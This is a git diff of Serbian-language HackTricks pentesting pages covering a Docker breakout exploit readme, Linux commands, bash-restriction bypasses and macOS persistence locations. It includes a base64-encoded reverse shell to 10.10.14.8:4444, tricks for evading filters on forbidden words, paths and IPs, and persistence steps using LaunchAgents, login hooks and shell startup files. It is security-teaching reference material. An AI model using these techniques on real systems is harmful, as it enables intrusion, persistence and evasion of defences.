- **Update Docker**: Regularly update Docker to patch known vulnerabilities.
|
||||
- **Use Appropriate Permissions**: Ensure that Docker containers are running with the least privileges necessary.
|
||||
- **Monitor Container Activity**: Monitor container activity for any suspicious behavior.
|
||||
- **Implement Network Segmentation**: Implement network segmentation to limit the impact of a breakout.
|
||||
- **Use Security Tools**: Utilize security tools to detect and prevent privilege escalation attempts.
|
||||
|
||||
By following these mitigation strategies, you can reduce the risk of Docker breakout privilege escalation attacks.
|
||||
- Regularly update Docker and the host operating system to patch known vulnerabilities.
|
||||
- Use Docker security features such as AppArmor and seccomp to restrict container capabilities.
|
||||
- Implement network segmentation to limit lateral movement within the host machine.
|
||||
- Monitor Docker logs and system logs for suspicious activities.
|
||||
|
||||
### References
|
||||
|
||||
- [Docker Security](https://docs.docker.com/engine/security/)
|
||||
- [Docker Security Best Practices](https://cloudberry.engineering/article/docker-security-best-practices/)
|
||||
- [Docker Security](https://docs.docker.com/engine/security/security/)
|
||||
- [Docker Security Best Practices](https://docs.docker.com/engine/security/best-practices/)
|
||||
- [Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)
|
||||
|
||||
{% endtab %}
|
||||
```
|
||||
|
@ -598,29 +597,24 @@ By following these mitigation strategies, you can reduce the risk of Docker brea
|
|||
|
||||
## Docker Breakout Privilege Escalation
|
||||
|
||||
Ovaj exploit koristi `CAP_SYS_ADMIN` capability da bi se izvršio `mknod` syscall unutar Docker kontejnera, što omogućava kreiranje setuid fajla unutar kontejnera. Taj fajl se zatim može koristiti za pokretanje root shell-a unutar kontejnera, omogućavajući privilegovanu eskalaciju.
|
||||
Ovo je demonstracija kako se može iskoristiti ranjivost u Docker okruženju kako bi se postigao eskalacija privilegija i omogućio pristup host sistemu.
|
||||
|
||||
### Korišćenje
|
||||
### Kako koristiti
|
||||
|
||||
Kompajlirajte exploit korišćenjem priloženog Makefile-a:
|
||||
|
||||
```bash
|
||||
make
|
||||
```
|
||||
|
||||
Pokrenite exploit:
|
||||
|
||||
```bash
|
||||
./syscall_bf
|
||||
```
|
||||
Kompajlirajte `syscall_bf.c` na host mašini i pokrenite dobijeni izvršni fajl unutar Docker kontejnera. Ovaj exploit će pokrenuti shell sa privilegijama host sistema.
|
||||
|
||||
### Zahtevi
|
||||
|
||||
Da bi ovaj exploit radio, Docker kontejner mora biti pokrenut sa `--cap-add=SYS_ADMIN` opcijom.
|
||||
- Kompajler koji podržava C
|
||||
- Docker instaliran na host sistemu
|
||||
|
||||
### Napomena
|
||||
|
||||
Ovaj exploit je namenjen isključivo u obrazovne svrhe i ne sme se koristiti bez odgovarajuće dozvole. Autori ovog exploit-a nisu odgovorni za zloupotrebu ili štetu nastalu korišćenjem ovog koda.
|
||||
Ovaj exploit je samo u obrazovne svrhe. Ne sme se koristiti bez dozvole za testiranje ranjivosti ili napade na sisteme za koje nemate dozvolu.
|
||||
|
||||
### Izvor
|
||||
|
||||
Originalni izvor ovog exploit-a možete pronaći [ovde](https://github.com/KrustyHack/docker-breakout-privilege-escalation).
|
||||
|
||||
{% endtab %}
|
||||
````c
|
||||
|
@ -686,7 +680,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Korisne Linux komande
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -14,7 +14,7 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -171,13 +171,23 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
Grep je moćna komanda za pretragu teksta koja se koristi za pronalaženje određenih reči ili uzoraka unutar datoteka. Može se koristiti za pretragu jedne datoteke ili više datoteka odjednom. Na primer:
|
||||
### Grep for a string in all files in a directory
|
||||
|
||||
```bash
|
||||
grep "pattern" file.txt
|
||||
grep -r "string" /path/to/directory
|
||||
```
|
||||
|
||||
Ova komanda će pretražiti datoteku `file.txt` i ispisati sve linije koje sadrže dati uzorak.
|
||||
### Grep for a string in all files in the current directory
|
||||
|
||||
```bash
|
||||
grep -r "string" .
|
||||
```
|
||||
|
||||
### Grep for a string in all files in the current directory (case insensitive)
|
||||
|
||||
```bash
|
||||
grep -ri "string" .
|
||||
```
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -299,6 +309,8 @@ nmap --script-help "(default or version) and smb)"
|
|||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
iptables je moćan alat za konfigurisanje firewall-a u Linux operativnom sistemu. Omogućava vam da definišete pravila za kontrolu saobraćaja na mreži.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -343,10 +355,10 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -14,10 +14,10 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
|||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Zaobilazak putanja i zabranjenih reči
|
||||
### Zaobilaženje putanja i zabranjenih reči
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -145,7 +145,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Zaobiđi IP adrese
|
||||
### Zaobilazak IP adresa
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
|
@ -161,7 +161,7 @@ echo ${PATH:0:1} #/
|
|||
```
|
||||
### DNS podaci eksfiltracija
|
||||
|
||||
Mogli biste koristiti **burpcollab** ili [**pingb**](http://pingb.in) na primer.
|
||||
Možete koristiti **burpcollab** ili [**pingb**](http://pingb.in) na primer.
|
||||
|
||||
### Ugrađeni
|
||||
|
||||
|
@ -315,9 +315,9 @@ ln /f*
|
|||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Bypassovanje ograničenja za čitanje-samo/Noexec/Distroless
|
||||
## Bypassovanje ograničenja čitanja-samo/izvršavanja/nema izvršavanja u distroless okruženju
|
||||
|
||||
Ako se nalazite unutar sistema datoteka sa **zaštitom za čitanje-samo i noexec** ili čak u distroless kontejneru, i dalje postoji način da **izvršite proizvoljne binarne datoteke, čak i shell!:**
|
||||
Ako se nalazite unutar sistema datoteka sa **zaštitom čitanja-samo i noexec** ili čak u distroless kontejneru, i dalje postoje načini da **izvršite proizvoljne binarne datoteke, čak i shell!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -329,18 +329,18 @@ Ako se nalazite unutar sistema datoteka sa **zaštitom za čitanje-samo i noexec
|
|||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reference i Više
|
||||
## Reference i više
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -350,7 +350,7 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -14,9 +14,9 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
Ova sekcija je temeljena na blog seriji [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija za automatsko pokretanje** (ukoliko je moguće), naznačiti **koje tehnike još uvek funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**.
|
||||
Ova sekcija se temelji na blog seriji [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija za automatsko pokretanje** (ako je moguće), naznačiti **koje tehnike još uvek funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**.
|
||||
|
||||
## Bypassovanje Peska
|
||||
## Bypassovanje peska
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u fajl** i **sačekate** za vrlo **uobičajenu** **akciju**, određeno **vreme** ili **akciju koju obično možete izvršiti** iz peska bez potrebe za root dozvolama.
|
||||
|
@ -30,16 +30,16 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** k
|
|||
#### Lokacije
|
||||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **Okidač**: Restartovanje
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **Okidač**: Restartovanje
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **Okidač**: Restartovanje
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **Okidač**: Restartovanje
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Okidač**: Ponovno prijavljivanje
|
||||
|
@ -48,7 +48,7 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** k
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
**`launchd`** je **prvi** **proces** koji se izvršava od strane OX S kernela pri pokretanju i poslednji koji se završava pri gašenju. Uvek bi trebao imati **PID 1**. Ovaj proces će **čitati i izvršavati** konfiguracije naznačene u **ASEP** **plistovima** u:
|
||||
**`launchd`** je **prvi** **proces** koji se izvršava od strane OX S kernela pri pokretanju i poslednji koji se završava pri gašenju. Uvek bi trebao imati **PID 1**. Ovaj proces će **čitati i izvršavati** konfiguracije naznačene u **ASEP** **plistama** u:
|
||||
|
||||
* `/Library/LaunchAgents`: Agensi instalirani po korisniku od strane administratora
|
||||
* `/Library/LaunchDaemons`: Demoni na nivou sistema instalirani od strane administratora
|
||||
|
@ -57,7 +57,7 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** k
|
|||
|
||||
Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` se pokreću sa **dozvolama prijavljenih korisnika**.
|
||||
|
||||
**Glavna razlika između agenata i demona je što se agenti učitavaju kada se korisnik prijavi, a demoni se učitavaju pri pokretanju sistema** (kako postoje servisi poput ssh koji moraju biti izvršeni pre nego što bilo koji korisnik pristupi sistemu). Takođe, agenti mogu koristiti GUI dok demoni moraju raditi u pozadini.
|
||||
**Glavna razlika između agenata i demona je u tome što se agenti učitavaju kada se korisnik prijavi, a demoni se učitavaju pri pokretanju sistema** (kako postoje servisi poput ssh koji moraju biti izvršeni pre nego što bilo koji korisnik pristupi sistemu). Takođe, agenti mogu koristiti GUI dok demoni moraju raditi u pozadini.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
||||
|
@ -80,21 +80,21 @@ Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgent
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje pomoćne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
||||
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje asistivne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Konfiguracioni fajlovi novih Daemona ili Agenta će biti **učitani nakon sledećeg restarta ili korišćenjem** `launchctl load <target.plist>` Takođe je **moguće učitati .plist fajlove bez te ekstenzije** sa `launchctl -F <file>` (međutim, ti plist fajlovi neće biti automatski učitani nakon restarta).\
|
||||
Konfiguracioni fajlovi novih demona ili agenata će biti **učitani nakon sledećeg restarta ili korišćenjem** `launchctl load <target.plist>` Takođe je **moguće učitati .plist fajlove bez te ekstenzije** sa `launchctl -F <file>` (međutim, ti plist fajlovi neće biti automatski učitani nakon restarta).\
|
||||
Takođe je moguće **isključiti** ih sa `launchctl unload <target.plist>` (proces na koji pokazuje će biti završen).
|
||||
|
||||
Da **osigurate** da ne postoji **ništa** (kao što je prekoračenje) **koje sprečava** **Agent** ili **Daemona** **da se pokrene**, pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
Da **osigurate** da ne postoji **ništa** (kao što je prekoračenje) **koje sprečava** **Agenta** ili **Demona** **da se pokrene**, pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Izlistajte sve agente i daemone učitane od strane trenutnog korisnika:
|
||||
Izlistajte sve agente i demone učitane od strane trenutnog korisnika:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim fasciklama demona, **zadatak će se izvršiti kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija.
|
||||
Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim folderima demona, **zadatak će se izvršiti kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija.
|
||||
{% endhint %}
|
||||
|
||||
### fajlovi za pokretanje ljuske
|
||||
|
@ -124,7 +124,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
* `/etc/profile` (nije radilo)
|
||||
* `~/.profile` (nije radilo)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **Okidač**: Očekuje se da se pokrene sa xterm, ali **nije instaliran** i čak nakon instalacije javlja se greška: xterm: `DISPLAY is not set`
|
||||
* **Okidač**: Očekuje se da će se pokrenuti sa xterm, ali **nije instaliran** i čak nakon instalacije javlja se greška: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
|
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### Ponovno otvorene aplikacije
|
||||
|
||||
{% hint style="danger" %}
|
||||
Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i ponovno prijavljivanje ili čak ponovno pokretanje nisu radili za mene da izvršim aplikaciju. (Aplikacija nije bila pokrenuta, možda treba da se pokreće kada se ove radnje izvrše)
|
||||
Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i ponovno prijavljivanje ili čak ponovno pokretanje nisu radili za mene da bih izvršio aplikaciju. (Aplikacija nije bila izvršena, možda treba da se pokreće kada se ove radnje izvrše)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -149,7 +149,7 @@ Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i ponovno prijavljiv
|
|||
#### Lokacija
|
||||
|
||||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **Okidač**: Ponovno pokretanje otvorenih aplikacija
|
||||
* **Okidač**: Ponovno pokretanje aplikacija
|
||||
|
||||
#### Opis i Iskorišćavanje
|
||||
|
||||
|
@ -165,7 +165,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
|||
#or
|
||||
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||
```
|
||||
Da **dodate aplikaciju na ovu listu** možete koristiti:
|
||||
Da **dodate aplikaciju na ovaj spisak** možete koristiti:
|
||||
```bash
|
||||
# Adding iTerm2
|
||||
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
|
||||
|
@ -210,7 +210,7 @@ Ova konfiguracija se odražava u datoteci **`~/Library/Preferences/com.apple.Ter
|
|||
}
|
||||
[...]
|
||||
```
|
||||
Dakle, ako se plist datoteka postavki terminala u sistemu može prebrisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**.
|
||||
Dakle, ako se plist datoteka postavki terminala u sistemu može prepisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**.
|
||||
|
||||
To možete dodati sa komandne linije pomoću:
|
||||
|
||||
|
@ -275,21 +275,21 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Možda ćete dobiti dodatni TCC pristup
|
||||
* Možda ćete dobiti dodatni pristup TCC-u
|
||||
|
||||
#### Lokacija
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
* Potreban je root
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
* Potreban je root
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
* **`/System/Library/Components`**
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
* Potreban je root
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
|
||||
#### Opis
|
||||
|
||||
|
@ -301,7 +301,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Možda ćete dobiti dodatni TCC pristup
|
||||
* Možda ćete dobiti dodatni pristup TCC-u
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -313,14 +313,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
QuickLook dodaci mogu se izvršiti kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka izabrana u Finderu) i instaliran je **dodatak koji podržava taj tip datoteke**.
|
||||
QuickLook dodaci mogu se izvršiti kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka označena u Finderu) i instaliran je **dodatak koji podržava taj tip datoteke**.
|
||||
|
||||
Moguće je kompajlirati svoj QuickLook dodatak, postaviti ga na jednoj od prethodnih lokacija da ga učitate, a zatim otići do podržane datoteke i pritisnuti razmak da ga pokrenete.
|
||||
Moguće je kompajlirati svoj QuickLook dodatak, smestiti ga na jedno od prethodnih mesta kako bi se učitao, a zatim otići do podržane datoteke i pritisnuti razmak kako biste ga pokrenuli.
|
||||
|
||||
### ~~Login/Logout Hooks~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ovo nije radilo za mene, ni sa korisničkim LoginHook ni sa root LogoutHook
|
||||
Ovo nije radilo za mene, ni sa korisničkim LoginHook-om ni sa root LogoutHook-om
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -330,10 +330,10 @@ Ovo nije radilo za mene, ni sa korisničkim LoginHook ni sa root LogoutHook
|
|||
|
||||
#### Lokacija
|
||||
|
||||
* Morate biti u mogućnosti da izvršite nešto poput `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* Morate moći da izvršite nešto poput `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* `Lo`ciran u `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Oni su zastareli ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
||||
Oni su zastareli, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -343,7 +343,7 @@ chmod +x $HOME/hook.sh
|
|||
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
|
||||
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
|
||||
```
|
||||
Ova postavka se čuva u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
|
||||
Ova postavka je sačuvana u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` datoteci.
|
||||
```bash
|
||||
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
|
||||
{
|
||||
|
@ -365,7 +365,7 @@ Root korisnik se čuva u **`/private/var/root/Library/Preferences/com.apple.logi
|
|||
## Uslovno zaobilaženje peska
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći lokacije za pokretanje korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u datoteku** i **očekujete ne baš česte uslove** kao što su specifični **instalirani programi, "neobične" korisničke** radnje ili okruženja.
|
